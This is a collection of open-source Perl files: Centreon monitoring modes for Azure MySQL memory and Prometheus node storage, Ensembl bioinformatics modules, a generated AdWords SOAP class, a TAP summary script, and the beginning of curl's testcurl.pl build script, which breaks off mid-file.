sub check_options {
my ($self, %options) = @_;
$self->SUPER::check_options(%options);
if (!defined($self->{option_results}->{resource}) || $self->{option_results}->{resource} eq '') {
$self->{output}->add_option_msg(short_msg => 'Need to specify either --resource <name> with --resource-group option or --resource <id>.');
$self->{output}->option_exit();
}
if (!defined($self->{option_results}->{resource_type}) || $self->{option_results}->{resource_type} eq '') {
$self->{output}->add_option_msg(short_msg => 'Need to specify --resource-type option');
$self->{output}->option_exit();
}
my $resource = $self->{option_results}->{resource};
my $resource_group = defined($self->{option_results}->{resource_group}) ? $self->{option_results}->{resource_group} : '';
my $resource_type = $self->{option_results}->{resource_type};
if ($resource =~ /^\/subscriptions\/.*\/resourceGroups\/(.*)\/providers\/Microsoft\.DBforMySQL\/(.*)\/(.*)$/) {
$resource_group = $1;
$resource_type = $2;
$resource = $3;
}
$self->{az_resource} = $resource;
$self->{az_resource_group} = $resource_group;
$self->{az_resource_type} = $resource_type;
$self->{az_resource_namespace} = 'Microsoft.DBforMySQL';
$self->{az_timeframe} = defined($self->{option_results}->{timeframe}) ? $self->{option_results}->{timeframe} : 900;
$self->{az_interval} = defined($self->{option_results}->{interval}) ? $self->{option_results}->{interval} : 'PT5M';
$self->{az_aggregations} = ['Average'];
if (defined($self->{option_results}->{aggregation})) {
$self->{az_aggregations} = [];
foreach my $stat (@{$self->{option_results}->{aggregation}}) {
if ($stat ne '') {
push @{$self->{az_aggregations}}, ucfirst(lc($stat));
}
}
}
foreach my $metric (keys %{$self->{metrics_mapping}}) {
next if (defined($self->{option_results}->{filter_metric}) && $self->{option_results}->{filter_metric} ne ''
&& $metric !~ /$self->{option_results}->{filter_metric}/);
push @{$self->{az_metrics}}, $metric;
}
}
1;
__END__
=head1 MODE
Check Azure Database for MySQL memory usage.
Example:
Using resource name :
perl centreon_plugins.pl --plugin=cloud::azure::database::mysql::plugin --mode=memory --custommode=api
--resource=<db_id> --resource-group=<resourcegroup_id> --aggregation='average'
--warning-memory-usage='80' --critical-memory-usage='90'
Using resource id :
perl centreon_plugins.pl --plugin=cloud::azure::integration::servicebus::plugin --mode=memory --custommode=api
--resource='/subscriptions/<subscription_id>/resourceGroups/<resourcegroup_id>/providers/Microsoft.DBforMySQL/servers/<db_id>'
--aggregation='average' --warning-memory-usage='80' --critical-memory-usage='90'
Default aggregation: 'average' / 'total', 'minimum' and 'maximum' are valid.
=over 8
=item B<--resource>
Set resource name or id (Required).
=item B<--resource-group>
Set resource group (Required if resource's name is used).
=item B<--resource-type>
Set resource type (Default: 'servers'). Can be 'servers', 'flexibleServers'.
=item B<--warning-memory-usage>
Set warning threshold for memory utilization percentage.
=item B<--critical-memory-usage>
Set critical threshold for memory utilization percentage.
=back
=cut
| Tpo76/centreon-plugins | cloud/azure/database/mysql/mode/memory.pm | Perl | apache-2.0 | 5,154 |
=head1 LICENSE
Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
Copyright [2016-2019] EMBL-European Bioinformatics Institute
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=cut
=head1 CONTACT
Please email comments or questions to the public Ensembl
developers list at <http://lists.ensembl.org/mailman/listinfo/dev>.
Questions may also be sent to the Ensembl help desk at
<http://www.ensembl.org/Help/Contact>.
=head1 AUTHOR
Juguang Xiao <juguang@tll.org.sg>
=cut
=head1 NAME
Bio::EnsEMBL::Utils::Converter::bio_ens_featurePair
=head1 SYNOPISIS
=head1 DESCRIPTION
=head1 METHODS
=cut
package Bio::EnsEMBL::Utils::Converter::bio_ens_featurePair;
use strict;
use vars qw(@ISA);
use Bio::EnsEMBL::FeaturePair;
use Bio::EnsEMBL::RepeatConsensus;
use Bio::EnsEMBL::ProteinFeature;
use Bio::EnsEMBL::Utils::Converter;
use Bio::EnsEMBL::Utils::Converter::bio_ens;
@ISA = qw(Bio::EnsEMBL::Utils::Converter::bio_ens);
sub _initialize {
my ($self, @args) = @_;
$self->SUPER::_initialize(@args);
my ($translation_id) = $self->_rearrange([qw(TRANSLATION_ID)], @args);
$self->translation_id($translation_id);
# internal converter for seqFeature
$self->{_bio_ens_seqFeature} = new Bio::EnsEMBL::Utils::Converter (
-in => 'Bio::SeqFeature::Generic',
-out => 'Bio::EnsEMBL::SeqFeature',
);
}
sub _convert_single {
my ($self, $pair) = @_;
unless($pair && $pair->isa('Bio::SeqFeature::FeaturePair')){
$self->throw('a Bio::SeqFeature::FeaturePair object needed');
}
if($self->out eq 'Bio::EnsEMBL::RepeatFeature'){
return $self->_convert_single_to_repeatFeature($pair);
}elsif($self->out eq 'Bio::EnsEMBL::FeaturePair'){
return $self->_convert_single_to_featurePair($pair);
}elsif($self->out eq 'Bio::EnsEMBL::ProteinFeature'){
return $self->_convert_single_to_proteinFeature($pair);
}else{
my $output_module = $self->out;
$self->throw("Cannot covert to [$output_module]");
}
}
sub _convert_single_to_featurePair {
my ($self, $pair) = @_;
my $feature1 = $pair->feature1;
my $feature2 = $pair->feature2;
$self->{_bio_ens_seqFeature}->contig($self->contig);
$self->{_bio_ens_seqFeature}->analysis($self->analysis);
my $ens_f1 = $self->{_bio_ens_seqFeature}->_convert_single($feature1);
my $ens_f2 = $self->{_bio_ens_seqFeature}->_convert_single($feature2);
my $ens_fp = Bio::EnsEMBL::FeaturePair->new(
-feature1 => $ens_f1,
-feature2 => $ens_f2
);
return $ens_fp;
}
sub _convert_single_to_proteinFeature {
my ($self, $pair) = @_;
my $featurePair = $self->_convert_single_to_featurePair($pair);
my $proteinFeature = Bio::EnsEMBL::ProteinFeature->new(
-feature1 => $featurePair->feature1,
-feature2 => $featurePair->feature2
);
$proteinFeature->seqname($self->translation_id);
return $proteinFeature;
}
sub _convert_single_to_repeatFeature {
my ($self, $pair) = @_;
my $feature1 = $pair->feature1;
my $feature2 = $pair->feature2;
my $ens_repeatfeature = new Bio::EnsEMBL::RepeatFeature(
-seqname => $feature1->seq_id,
-start => $feature1->start,
-end => $feature1->end,
-strand => $feature1->strand,
-source_tag => $feature1->source_tag,
);
my ($h_start, $h_end);
if($feature1->strand == 1){
$h_start = $feature2->start;
$h_end = $feature2->end;
}elsif($feature1->strand == -1){
$h_start = $feature2->end;
$h_end = $feature2->start;
}else{
$self->throw("strand cannot be outside of (1, -1)");
}
$ens_repeatfeature->hstart($h_start);
$ens_repeatfeature->hend($h_end);
my $repeat_name = $feature2->seq_id;
my $repeat_class = $feature1->primary_tag;
$repeat_class ||= $feature2->primary_tag;
$repeat_class ||= "not sure";
my $ens_repeat_consensus =
$self->_create_consensus($repeat_name, $repeat_class);
$ens_repeatfeature->repeat_consensus($ens_repeat_consensus);
my($contig) = ref ($self->contig) eq 'ARRAY' ? @{$self->contig} : $self->contig;
$ens_repeatfeature->attach_seq($contig);
$ens_repeatfeature->analysis($self->analysis);
return $ens_repeatfeature;
}
sub _create_consensus{
my ($self, $repeat_name, $repeat_class) = @_;
my $consensus = new Bio::EnsEMBL::RepeatConsensus;
$consensus->name($repeat_name);
$consensus->repeat_class($repeat_class);
return $consensus;
}
1;
| muffato/ensembl | modules/Bio/EnsEMBL/Utils/Converter/bio_ens_featurePair.pm | Perl | apache-2.0 | 5,056 |
=head1 LICENSE
# Copyright [1999-2015] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
=head1 CONTACT
Please email comments or questions to the public Ensembl
developers list at <http://lists.ensembl.org/mailman/listinfo/dev>.
Questions may also be sent to the Ensembl help desk at
<http://www.ensembl.org/Help/Contact>.
=cut
=head1 NAME
Bio::EnsEMBL::Analysis::RunnableDB::CopyGenes -
=head1 SYNOPSIS
RunnableDB for copying genes from a source database to a target
database. By default all the genes in the database COPY_SOURCE_DB are copied into
the database COPY_TARGET_DB
=head1 DESCRIPTION
=head1 METHODS
=cut
package Bio::EnsEMBL::Analysis::RunnableDB::CopyGenes;
use warnings ;
use vars qw(@ISA);
use strict;
use Bio::EnsEMBL::Analysis::RunnableDB;
use Bio::EnsEMBL::Analysis::RunnableDB::BaseGeneBuild;
use Bio::EnsEMBL::Utils::Exception qw(throw warning);
use Bio::EnsEMBL::Utils::Argument qw (rearrange);
@ISA = qw(Bio::EnsEMBL::Analysis::RunnableDB::BaseGeneBuild);
sub new{
my ($class,@args) = @_;
my $self = $class->SUPER::new(@args);
my ($given_source_db, $given_target_db, $given_biotype) = rearrange
(['SOURCE_DB', 'TARGET_DB', 'BIOTYPE'], @args);
#### Default values...
$self->source_db_name("COPY_SOURCE_DB");
$self->target_db_name("COPY_TARGET_DB");
$self->biotype("");
### ...are over-ridden by parameters given in analysis table...
my $ph = $self->parameters_hash;
$self->source_db_name($ph->{-source_db}) if exists $ph->{-source_db};
$self->target_db_name($ph->{-target_db}) if exists $ph->{-target_db};
$self->biotype($ph->{-biotype}) if exists $ph->{-biotype};
### ...which are over-ridden by constructor arguments.
$self->source_db_name($given_source_db) if defined $given_source_db;
$self->target_db_name($given_target_db) if defined $given_target_db;
$self->biotype($given_biotype) if defined $given_biotype;
return $self;
}
#getter/setters
sub source_db_name{
my ($self, $arg) = @_;
if(defined $arg){
$self->{'source_db_name'} = $arg;
}
return $self->{'source_db_name'};
}
sub target_db_name{
my ($self, $arg) = @_;
if(defined $arg){
$self->{'target_db_name'} = $arg;
}
return $self->{'target_db_name'};
}
sub biotype{
my ($self, $arg) = @_;
if(defined $arg){
$self->{'biotype'} = $arg;
}
return $self->{'biotype'};
}
################################
sub fetch_input {
my ($self) = @_;
my $source_db = $self->get_dbadaptor($self->source_db_name);
my $slice = $source_db->get_SliceAdaptor->fetch_by_name($self->input_id);
#
# total paranoia: fetch everything up front
#
my (@genes);
my @target_genes;
if($self->biotype){
@target_genes = @{$slice->get_all_Genes_by_type($self->biotype)};
}else{
@target_genes = @{$slice->get_all_Genes};
}
foreach my $g (@target_genes) {
foreach my $t (@{$g->get_all_Transcripts}) {
foreach my $e (@{$t->get_all_Exons}) {
$e->get_all_supporting_features;
$e->stable_id;
}
my $tr = $t->translation;
if (defined $tr) {
$tr->stable_id;
$tr->get_all_Attributes;
$tr->get_all_DBEntries;
$tr->get_all_ProteinFeatures;
}
$t->stable_id;
$t->get_all_supporting_features;
$t->get_all_DBEntries;
$t->display_xref;
$t->get_all_Attributes;
}
$g->stable_id;
$g->get_all_DBEntries;
$g->display_xref;
$g->get_all_Attributes;
push @genes, $g;
}
$self->output(\@genes);
}
##################################
sub write_output {
my($self) = @_;
my $target_db = $self->get_dbadaptor($self->target_db_name);
my $g_adap = $target_db->get_GeneAdaptor;
foreach my $g (@{$self->output}) {
$g_adap->store($g);
}
return 1;
}
1;
| mn1/ensembl-analysis | modules/Bio/EnsEMBL/Analysis/RunnableDB/CopyGenes.pm | Perl | apache-2.0 | 4,368 |
package Google::Ads::AdWords::v201402::LongRangeAttribute;
use strict;
use warnings;
__PACKAGE__->_set_element_form_qualified(1);
sub get_xmlns { 'https://adwords.google.com/api/adwords/o/v201402' };
our $XML_ATTRIBUTE_CLASS;
undef $XML_ATTRIBUTE_CLASS;
sub __get_attr_class {
return $XML_ATTRIBUTE_CLASS;
}
use base qw(Google::Ads::AdWords::v201402::Attribute);
# Variety: sequence
use Class::Std::Fast::Storable constructor => 'none';
use base qw(Google::Ads::SOAP::Typelib::ComplexType);
{ # BLOCK to scope variables
my %Attribute__Type_of :ATTR(:get<Attribute__Type>);
my %value_of :ATTR(:get<value>);
__PACKAGE__->_factory(
[ qw( Attribute__Type
value
) ],
{
'Attribute__Type' => \%Attribute__Type_of,
'value' => \%value_of,
},
{
'Attribute__Type' => 'SOAP::WSDL::XSD::Typelib::Builtin::string',
'value' => 'Google::Ads::AdWords::v201402::Range',
},
{
'Attribute__Type' => 'Attribute.Type',
'value' => 'value',
}
);
} # end BLOCK
1;
=pod
=head1 NAME
Google::Ads::AdWords::v201402::LongRangeAttribute
=head1 DESCRIPTION
Perl data type class for the XML Schema defined complexType
LongRangeAttribute from the namespace https://adwords.google.com/api/adwords/o/v201402.
{@link Attribute} type that contains a {@link Range} of {@link LongValue} values.
=head2 PROPERTIES
The following properties may be accessed using get_PROPERTY / set_PROPERTY
methods:
=over
=item * value
=back
=head1 METHODS
=head2 new
Constructor. The following data structure may be passed to new():
=head1 AUTHOR
Generated by SOAP::WSDL
=cut
| gitpan/GOOGLE-ADWORDS-PERL-CLIENT | lib/Google/Ads/AdWords/v201402/LongRangeAttribute.pm | Perl | apache-2.0 | 1,668 |
=head1 LICENSE
Copyright [1999-2014] Wellcome Trust Sanger Institute and the EMBL-European Bioinformatics Institute
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
=cut
=head1 CONTACT
Please email comments or questions to the public Ensembl
developers list at <http://lists.ensembl.org/mailman/listinfo/dev>.
Questions may also be sent to the Ensembl help desk at
<http://www.ensembl.org/Help/Contact>.
=cut
=head1 NAME
Bio::EnsEMBL::Map::Ditag
=head1 SYNOPSIS
my $feature = Bio::EnsEMBL::Map::Ditag->new(
-dbID => $tag_id,
-name => $name,
-type => $type,
-tag_count => $tag_count,
-sequence => $sequence,
-adaptor => $dbAdaptor
);
=head1 DESCRIPTION
Represents an unmapped ditag object in the EnsEMBL database.
Corresponds to original tag containing the full sequence. This can be
a single piece of sequence like CAGE tags or a ditag with concatenated
sequence from 5' and 3' end like GIS or GSC tags.
=head1 METHODS
=cut
package Bio::EnsEMBL::Map::Ditag;
use strict;
use vars qw(@ISA);
use Bio::EnsEMBL::Storable;
use Bio::EnsEMBL::Utils::Exception qw( throw );
use Bio::EnsEMBL::Utils::Argument qw( rearrange );
@ISA = qw(Bio::EnsEMBL::Storable);
=head2 new
Arg [1] : (optional) int $dbID
Arg [2] : (optional) string name
Arg [3] : (optional) string type
Arg [4] : (optional) int tag_count
Arg [5] : (optional) string sequence
Arg [6] : (optional) Bio::EnsEMBL::Map::DBSQL::DitagAdaptor $adaptor
Description: Creates a new ditag
Returntype : Bio::EnsEMBL::Map::Ditag
Exceptions : none
Caller : general
=cut
sub new {
my ($caller, @args) = @_;
my ($dbID, $name, $type, $tag_count, $sequence, $adaptor) = rearrange(
[ 'DBID', 'NAME', 'TYPE', 'TAG_COUNT', 'SEQUENCE', 'ADAPTOR' ], @args);
my $class = ref($caller) || $caller;
if(!$name or !$type or !$sequence) {
throw('Missing information for Ditag object:
Bio::EnsEMBL::Map::Ditag->new (
-dbID => $tag_id,
-name => $name,
-type => $type,
-tag_count => $tag_count,
-sequence => $sequence,
-adaptor => $dbAdaptor
);');
}
if(!$tag_count){ $tag_count = 0; }
if(!($sequence =~ /^[ATCGN]+$/i)){
throw('ditag sequence contains non-standard characters: '.$sequence);
}
my $self = bless( {'dbID' => $dbID,
'name' => $name,
'type' => $type,
'tag_count' => $tag_count,
'sequence' => $sequence
}, $class);
$self->adaptor($adaptor);
return $self;
}
=head2 name
Arg [1] : (optional) string $type
Example : $type = $ditag->name;
Description: Getter/Setter for the name of a ditag
Returntype : text
Caller : general
=cut
sub name {
my $self = shift;
if(@_) {
$self->{'name'} = shift;
}
return $self->{'name'};
}
=head2 dbID
Arg [1] : (optional) int id
Example : $ditag_id = $ditag->dbID;
Description: Getter/Setter for the dbID of a ditag
Returntype : int
Caller : general
=cut
sub dbID {
my $self = shift;
if(@_) {
$self->{'dbID'} = shift;
}
return $self->{'dbID'};
}
=head2 type
Arg [1] : (optional) string $type
Example : $type = $ditag->type;
Description: Getter/Setter for the type of a ditag
Returntype : text
Caller : general
=cut
sub type {
my $self = shift;
if(@_) {
$self->{'type'} = shift;
}
return $self->{'type'};
}
=head2 tag_count
Arg [1] : (optional) string $tag_count
Example : $type = $ditag->tag_count;
Description: Getter/Setter for the tag_count of a ditag
Returntype : int
Caller : general
=cut
sub tag_count {
my $self = shift;
if(@_) {
$self->{'tag_count'} = shift;
}
return $self->{'tag_count'};
}
=head2 sequence
Arg [1] : (optional) string $sequence
Example : $sequence = $ditag->sequence;
Description: Getter/Setter for the sequence of a ditag
Returntype : text
Caller : general
=cut
sub sequence {
my $self = shift;
if(@_) {
$self->{'sequence'} = shift;
}
return $self->{'sequence'};
}
=head2 get_ditagFeatures
Arg : none
Example : @features = @{$ditag->get_ditagFeatures};
Description: Fetch ditag_features created from this ditag
Returntype : listref of Bio::EnsEMBL::Map::DitagFeature
Caller : general
=cut
sub get_ditagFeatures {
my $self = shift;
return $self->adaptor->db->get_adaptor("ditagFeature")
->fetch_all_by_ditagID($self->dbID);
}
1;
| willmclaren/ensembl | modules/Bio/EnsEMBL/Map/Ditag.pm | Perl | apache-2.0 | 5,346 |
#!/usr/bin/perl
#
# Write a summary of a TAP file in a format suitable for Buildkite Annotations
use strict;
use warnings FATAL => 'all';
use TAP::Parser;
# Get tap results filename and CI build name from argv
my $tap_file = $ARGV[0];
my $build_name = $ARGV[1];
my $parser = TAP::Parser->new( { source => $tap_file } );
my $in_error = 0;
my @out = ( "### TAP Output for $build_name" );
while ( my $result = $parser->next ) {
if ( $result->is_test ) {
# End an existing error block
if ( $in_error == 1 ) {
push( @out, "" );
push( @out, "</pre></code></details>" );
push( @out, "" );
push( @out, "----" );
push( @out, "" );
}
$in_error = 0;
# Start a new error block
if ( not $result->is_ok ) {
$in_error = 1;
my $number = $result->number;
my $description = $result->description;
push(@out, "FAILURE Test #$number: ``$description``");
push(@out, "");
push(@out, "<details><summary>Show log</summary><code><pre>");
}
} elsif ( $result->is_comment and $in_error == 1 ) {
# Print error contents
push( @out, $result->raw );
}
}
# Print out the contents of @out, cutting off the final "----" and newlines
foreach my $line ( @out[0..$#out-3] ) {
print $line . "\n";
}
| matrix-org/sytest | scripts/format_tap.pl | Perl | apache-2.0 | 1,335 |
#
# Copyright 2022 Centreon (http://www.centreon.com/)
#
# Centreon is a full-fledged industry-strength solution that meets
# the needs in IT infrastructure and application monitoring for
# service performance.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
package cloud::prometheus::exporters::nodeexporter::mode::storage;
use base qw(centreon::plugins::templates::counter);
use strict;
use warnings;
sub custom_usage_perfdata {
my ($self, %options) = @_;
my $label = 'used';
my $value_perf = $self->{result_values}->{used};
if (defined($self->{instance_mode}->{option_results}->{free})) {
$label = 'free';
$value_perf = $self->{result_values}->{free};
}
my %total_options = ();
if ($self->{instance_mode}->{option_results}->{units} eq '%') {
$total_options{total} = $self->{result_values}->{total};
$total_options{cast_int} = 1;
}
$self->{output}->perfdata_add(
label => $label, unit => 'B',
nlabel => 'storage.space.usage.bytes',
value => $value_perf,
warning => $self->{perfdata}->get_perfdata_for_output(label => 'warning-' . $self->{thlabel}, %total_options),
critical => $self->{perfdata}->get_perfdata_for_output(label => 'critical-' . $self->{thlabel}, %total_options),
min => 0, max => $self->{result_values}->{total},
instances => $self->use_instances(extra_instance => $options{extra_instance}) ? $self->{result_values}->{display} : undef,
);
}
sub custom_usage_threshold {
my ($self, %options) = @_;
my ($exit, $threshold_value);
$threshold_value = $self->{result_values}->{used};
$threshold_value = $self->{result_values}->{free} if (defined($self->{instance_mode}->{option_results}->{free}));
if ($self->{instance_mode}->{option_results}->{units} eq '%') {
$threshold_value = $self->{result_values}->{prct_used};
$threshold_value = $self->{result_values}->{prct_free} if (defined($self->{instance_mode}->{option_results}->{free}));
}
$exit = $self->{perfdata}->threshold_check(value => $threshold_value,
threshold => [ { label => 'critical-' . $self->{thlabel}, exit_litteral => 'critical' },
{ label => 'warning-'. $self->{thlabel}, exit_litteral => 'warning' } ]);
return $exit;
}
sub custom_usage_output {
my ($self, %options) = @_;
my ($total_size_value, $total_size_unit) = $self->{perfdata}->change_bytes(value => $self->{result_values}->{total});
my ($total_used_value, $total_used_unit) = $self->{perfdata}->change_bytes(value => $self->{result_values}->{used});
my ($total_free_value, $total_free_unit) = $self->{perfdata}->change_bytes(value => $self->{result_values}->{free});
my $msg = sprintf("Usage Total: %s Used: %s (%.2f%%) Free: %s (%.2f%%)",
$total_size_value . " " . $total_size_unit,
$total_used_value . " " . $total_used_unit, $self->{result_values}->{prct_used},
$total_free_value . " " . $total_free_unit, $self->{result_values}->{prct_free});
return $msg;
}
sub custom_usage_calc {
my ($self, %options) = @_;
$self->{result_values}->{label} = $self->{instance};
$self->{result_values}->{display} = $options{new_datas}->{$self->{instance} . '_display'};
$self->{result_values}->{total} = $options{new_datas}->{$self->{instance} . '_size'};
$self->{result_values}->{free} = $options{new_datas}->{$self->{instance} . '_free'};
$self->{result_values}->{used} = $self->{result_values}->{total} - $self->{result_values}->{free};
$self->{result_values}->{prct_used} = ($self->{result_values}->{total} > 0) ? $self->{result_values}->{used} * 100 / $self->{result_values}->{total} : 0;
$self->{result_values}->{prct_free} = 100 - $self->{result_values}->{prct_used};
# limit to 100. Better output.
if ($self->{result_values}->{prct_used} > 100) {
$self->{result_values}->{free} = 0;
$self->{result_values}->{prct_used} = 100;
$self->{result_values}->{prct_free} = 0;
}
return 0;
}
sub set_counters {
my ($self, %options) = @_;
$self->{maps_counters_type} = [
{ name => 'nodes', type => 3, cb_prefix_output => 'prefix_node_output', cb_long_output => 'node_long_output',
message_multiple => 'All nodes storages usage are ok', indent_long_output => ' ',
group => [
{ name => 'storage', display_long => 1, cb_prefix_output => 'prefix_storage_output',
message_multiple => 'All storages usage are ok', type => 1, skipped_code => { -10 => 1 } },
]
}
];
$self->{maps_counters}->{storage} = [
{ label => 'usage', set => {
key_values => [ { name => 'free' }, { name => 'size' }, { name => 'display' } ],
closure_custom_calc => $self->can('custom_usage_calc'),
closure_custom_output => $self->can('custom_usage_output'),
closure_custom_perfdata => $self->can('custom_usage_perfdata'),
closure_custom_threshold_check => $self->can('custom_usage_threshold'),
label_extra_instance => 1, instance_use => 'display'
}
},
];
}
sub prefix_node_output {
my ($self, %options) = @_;
return "Node '" . $options{instance_value}->{display} . "' ";
}
sub node_long_output {
my ($self, %options) = @_;
return "Checking node '" . $options{instance_value}->{display} . "'";
}
sub prefix_storage_output {
my ($self, %options) = @_;
return "Storage '" . $options{instance_value}->{display} . "' ";
}
sub new {
my ($class, %options) = @_;
my $self = $class->SUPER::new(package => __PACKAGE__, %options);
bless $self, $class;
$options{options}->add_options(arguments => {
"instance:s" => { name => 'instance', default => 'instance=~".*"' },
"mountpoint:s" => { name => 'mountpoint', default => 'mountpoint=~".*"' },
"fstype:s" => { name => 'fstype', default => 'fstype!~"linuxfs|rootfs|tmpfs"' },
"units:s" => { name => 'units', default => '%' },
"free" => { name => 'free' },
"extra-filter:s@" => { name => 'extra_filter' },
"metric-overload:s@" => { name => 'metric_overload' },
});
return $self;
}
sub check_options {
my ($self, %options) = @_;
$self->SUPER::check_options(%options);
$self->{metrics} = {
'free' => "^node_filesystem_free.*",
'size' => "^node_filesystem_size.*",
};
foreach my $metric (@{$self->{option_results}->{metric_overload}}) {
next if ($metric !~ /(.*),(.*)/);
$self->{metrics}->{$1} = $2 if (defined($self->{metrics}->{$1}));
}
$self->{labels} = {};
foreach my $label (('instance', 'mountpoint', 'fstype')) {
if ($self->{option_results}->{$label} !~ /^(\w+)[!~=]+\".*\"$/) {
$self->{output}->add_option_msg(short_msg => "Need to specify --" . $label . " option as a PromQL filter.");
$self->{output}->option_exit();
}
$self->{labels}->{$label} = $1;
}
$self->{extra_filter} = '';
foreach my $filter (@{$self->{option_results}->{extra_filter}}) {
$self->{extra_filter} .= ',' . $filter;
}
}
sub manage_selection {
my ($self, %options) = @_;
$self->{nodes} = {};
my $results = $options{custom}->query(
queries => [
'label_replace({__name__=~"' . $self->{metrics}->{free} . '",' .
$self->{option_results}->{instance} . ',' .
$self->{option_results}->{mountpoint} . ',' .
$self->{option_results}->{fstype} .
$self->{extra_filter} . '}, "__name__", "free", "", "")',
'label_replace({__name__=~"' . $self->{metrics}->{size} . '",' .
$self->{option_results}->{instance} . ',' .
$self->{option_results}->{mountpoint} . ',' .
$self->{option_results}->{fstype} .
$self->{extra_filter} . '}, "__name__", "size", "", "")'
]
);
foreach my $result (@{$results}) {
$self->{nodes}->{$result->{metric}->{$self->{labels}->{instance}}}->{display} = $result->{metric}->{$self->{labels}->{instance}};
$self->{nodes}->{$result->{metric}->{$self->{labels}->{instance}}}->{storage}->{$result->{metric}->{mountpoint}}->{display} = $result->{metric}->{$self->{labels}->{mountpoint}};
$self->{nodes}->{$result->{metric}->{$self->{labels}->{instance}}}->{storage}->{$result->{metric}->{mountpoint}}->{$result->{metric}->{__name__}} = ${$result->{value}}[1];
}
if (scalar(keys %{$self->{nodes}}) <= 0) {
$self->{output}->add_option_msg(short_msg => "No nodes found.");
$self->{output}->option_exit();
}
}
1;
__END__
=head1 MODE
Check storages usage.
=over 8
=item B<--instance>
Filter on a specific instance (Must be a PromQL filter, Default: 'instance=~".*"')
=item B<--mountpoint>
Filter on a specific mountpoint (Must be a PromQL filter, Default: 'mountpoint=~".*"')
=item B<--fstype>
Filter on a specific fstype (Must be a PromQL filter, Default: 'fstype!~"linuxfs|rootfs|tmpfs"')
=item B<--units>
Units of thresholds (Default: '%') ('%', 'B').
=item B<--free>
Thresholds are on free space left.
=item B<--warning-usage>
Threshold warning.
=item B<--critical-usage>
Threshold critical.
=item B<--extra-filter>
Add a PromQL filter (Can be multiple)
Example : --extra-filter='name=~".*pretty.*"'
=item B<--metric-overload>
Overload default metrics name (Can be multiple)
Example : --metric-overload='metric,^my_metric_name$'
Default :
- free: ^node_filesystem_free.*
- size: ^node_filesystem_size.*
=back
=cut
| centreon/centreon-plugins | cloud/prometheus/exporters/nodeexporter/mode/storage.pm | Perl | apache-2.0 | 10,451 |
#!/usr/bin/env perl
#***************************************************************************
# _ _ ____ _
# Project ___| | | | _ \| |
# / __| | | | |_) | |
# | (__| |_| | _ <| |___
# \___|\___/|_| \_\_____|
#
# Copyright (C) 1998 - 2017, Daniel Stenberg, <daniel@haxx.se>, et al.
#
# This software is licensed as described in the file COPYING, which
# you should have received as part of this distribution. The terms
# are also available at https://curl.haxx.se/docs/copyright.html.
#
# You may opt to use, copy, modify, merge, publish, distribute and/or sell
# copies of the Software, and permit persons to whom the Software is
# furnished to do so, under the terms of the COPYING file.
#
# This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
# KIND, either express or implied.
#
###########################################################################
###########################
# What is This Script?
###########################
# testcurl.pl is the master script to use for automatic testing of curl
# directly off its source repository.
# This is written for the purpose of being run from a crontab job or similar
# at a regular interval. The output is suitable to be mailed to
# curl-autocompile@haxx.se to be dealt with automatically (make sure the
# subject includes the word "autobuild" as the mail gets silently discarded
# otherwise). The most current build status (with a reasonable backlog) will
# be published on the curl site, at https://curl.haxx.se/auto/
# USAGE:
# testcurl.pl [options] [curl-daily-name] > output
# Options:
#
# --configure=[options] Configure options
# --crosscompile This is a crosscompile
# --desc=[desc] Description of your test system
# --email=[email] Set email address to report as
# --extvercmd=[command] Command to use for displaying version with cross compiles.
# --mktarball=[command] Command to run after completed test
# --name=[name] Set name to report as
# --notes=[notes] More human-readable information about this configuration
# --nocvsup Don't pull from git even though it is a git tree
# --nogitpull Don't pull from git even though it is a git tree
# --nobuildconf Don't run buildconf
# --noconfigure Don't run configure
# --runtestopts=[options] Options to pass to runtests.pl
# --setup=[file name] File name to read setup from (deprecated)
# --target=[your os] Specify your target environment.
#
# if [curl-daily-name] is omitted, a 'curl' git directory is assumed.
#
use strict;
use Cwd;
use File::Spec;
# Turn on warnings (equivalent to -w, which can't be used with /usr/bin/env)
#BEGIN { $^W = 1; }
use vars qw($version $fixed $infixed $CURLDIR $git $pwd $build $buildlog
$buildlogname $configurebuild $targetos $confheader $binext
$libext);
use vars qw($name $email $desc $confopts $runtestopts $setupfile $mktarball
$extvercmd $nogitpull $nobuildconf $crosscompile
$timestamp $notes);
# version of this script
$version='2014-11-25';
$fixed=0;
# Determine if we're running from git or a canned copy of curl,
# or if we got a specific target option or setup file option.
$CURLDIR="curl";
if (-f ".git/config") {
$CURLDIR = "./";
}
$git=1;
$setupfile = 'setup';
$configurebuild = 1;
while ($ARGV[0]) {
if ($ARGV[0] =~ /--target=/) {
$targetos = (split(/=/, shift @ARGV, 2))[1];
}
elsif ($ARGV[0] =~ /--setup=/) {
$setupfile = (split(/=/, shift @ARGV, 2))[1];
}
elsif ($ARGV[0] =~ /--extvercmd=/) {
$extvercmd = (split(/=/, shift @ARGV, 2))[1];
}
elsif ($ARGV[0] =~ /--mktarball=/) {
$mktarball = (split(/=/, shift @ARGV, 2))[1];
}
elsif ($ARGV[0] =~ /--name=/) {
$name = (split(/=/, shift @ARGV, 2))[1];
}
